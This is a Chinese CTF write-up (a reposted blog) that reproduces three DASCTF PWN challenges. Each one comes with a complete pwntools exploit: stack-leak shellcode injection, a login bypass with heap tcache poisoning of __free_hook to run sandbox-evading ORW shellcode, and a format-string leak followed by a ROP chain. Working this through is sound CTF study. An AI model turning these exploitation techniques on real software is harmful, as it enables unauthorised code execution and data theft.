[复现]DASCTF Sept X 浙江工业大学秋季挑战赛-PWN

hehepwn

一开始泄露stack地址，然后写入shellcode返回到shellcode执行

from pwn import *

context.os = 'linux'
context.log_level = "debug"
context.arch = 'amd64'

p = process('./bypwn')#, env={"LD_PRELOAD":'./libc-2.27.so'})
#libc = ELF('./libc-2.27.so')
elf = ELF('./bypwn')

s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num                :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))

def debug():
	gdb.attach(p)
	pause()

pl = 'a'*0x1f
sla('well you input:\n',pl)
ru('a'*0x1f+'\n')
stack = uu64(r(6)) - 0x50
leak('stack',stack)
shellcode=asm(shellcraft.sh())
pl = shellcode
pl = pl.ljust(0x58,'\x00')
pl += p64(stack)
p.sendlineafter('EASY PWN PWN PWN~\n',pl)
itr()

​

datasystem

有一个登录的界面

​

看特征应该是md5的emmm

参考上一个文章的绕过方法，绕过login

​

这里找到了溢出点，有沙盒就就就打有执行权限的地方写为shellcode，之后再打freehook调用shellcode

from pwn import *

context.os = 'linux'
context.log_level = "debug"
context.arch = 'amd64'

p = process('./datasystem')#, env={"LD_PRELOAD":'./libc-2.27.so'})
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
elf = ELF('./datasystem')

s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num                :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))

def debug():
	gdb.attach(p)
	pause()

def add(size, content):
    sla(">> :", 1)
    sla("Size:", str(size))
    sa("Content:", content)

def edit(idx, content):
    sla(">> :",3)
    sla("Index:", str(idx))
    sa("Content:", content)

def delete(idx):
    sla(">> :",2)
    sla("Index:", str(idx))

def show(idx):
    sla(">> :",3)
    sla("Index:", str(idx))


sa("please input username: ", "admin")
sa("please input password: ", "gB" + '\x00' * 0x1e)

add(0x10,'a'*0x10)#0
add(0x430, 'bpc')#1
add(0x10, 'bpc')#2
delete(1)
delete(0)
add(0x10, 0x20*'a')#0
show(0)
ru('a'*0x20)
libcbase = uu64(r(6)) - 0x3EBCA0
leak('libcbase',libcbase)
gg = libcbase + 0x15B066
opent = libcbase + libc.sym['open']
read = libcbase + libc.sym['read']
puts = libcbase + libc.sym['puts']
free = libcbase + libc.sym['__free_hook']
rdi = libcbase + 0x000000000002164f
rdx = libcbase + 0x0000000000001b96
rsi = libcbase + 0x0000000000023a6a

mmap = 0x23330000

delete(0)
add(0x10, 0x10 * 'a' + p64(0) + p64(0x441))#0
add(0x40,'bpc')#1
add(0x40,'bpc')#3
add(0x40,'bpc')#4
delete(4)
delete(3)
delete(1)
add(0x40,0x40*'a'+p64(0) + p64(0x51) + p64(mmap))#1
add(0x40,'bpc')#3
shellcode = asm('''
	sub rsp, 0x800
	push 0x67616c66
	mov rdi, rsp
	xor esi, esi
	mov eax, 2
	syscall

	cmp eax, 0
	js failed

	mov edi, eax
	mov rsi, rsp
	mov edx, 0x100
	xor eax, eax
	syscall

	mov edx, eax
	mov rsi, rsp
	mov edi, 1
	mov eax, edi
	syscall

	jmp exit

	failed:
	push 0x6c696166
	mov edi, 1
	mov rsi, rsp
	mov edx, 4
	mov eax, edi
	syscall

	exit:
	xor edi, edi
	mov eax, 231
	syscall
	''')
add(0x40,shellcode)#4
add(0x40,'bpc')#5
add(0x40,'bpc')#6
add(0x40,'bpc')#7
delete(7)
delete(6)
delete(5)
add(0x40,0x40*'a'+p64(0) + p64(0x51) + p64(free))#5
add(0x40,'bpc')#6
add(0x40,p64(mmap))#7
delete(6)
#debug()
itr()

​

hahapwn

​

有沙盒

​

然后看welcome，有格式化字符串漏洞，还有一个栈溢出的漏洞

第一次格式化字符串漏洞leak stack、libc、canary剩下的就是正常进行的orw了

from pwn import *

context.os = 'linux'
context.log_level = "debug"
context.arch = 'amd64'

p = process('./pwn')#, env={"LD_PRELOAD":'./libc-2.27.so'})
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
elf = ELF('./pwn')

s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num                :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))

def debug():
	gdb.attach(p)
	pause()
pl = '%9$p-%12$p-%27$p'
sla('Welcome! What is your name?\n',pl)
ru('Hello \n')
libcbase = int(r(14),16) - 0x61C710
leak('libcbase',libcbase)
ru('-')
stack = int(r(14),16) - 0x20
leak('stack',stack)
ru('-')
canary = int(r(18),16)
leak('canary',canary)
opent = libcbase + libc.sym['open']
read = libcbase + libc.sym['read']
puts = libcbase + libc.sym['puts']
rdi = libcbase + 0x000000000002164f
rsi = libcbase + 0x0000000000023a6a
rdx = libcbase + 0x0000000000001b96
pl = './flag\x00\x00'
pl = pl.ljust(0x68,'\x00')
pl += p64(canary)
pl += 'bcatbcat'
pl += p64(rdi) + p64(stack) + p64(rsi) + p64(0) + p64(rdx) + p64(0) + p64(opent)
pl += p64(rdi) + p64(3) + p64(rsi) + p64(0x601160) + p64(rdx) + p64(0x30) + p64(read)
pl += p64(rdi) + p64(0x601160) + p64(puts)
p.sendlineafter('What can we help you?\n',pl)

#debug()

itr()

​

原文地址：http://www.cnblogs.com/bpcat/p/16917324.html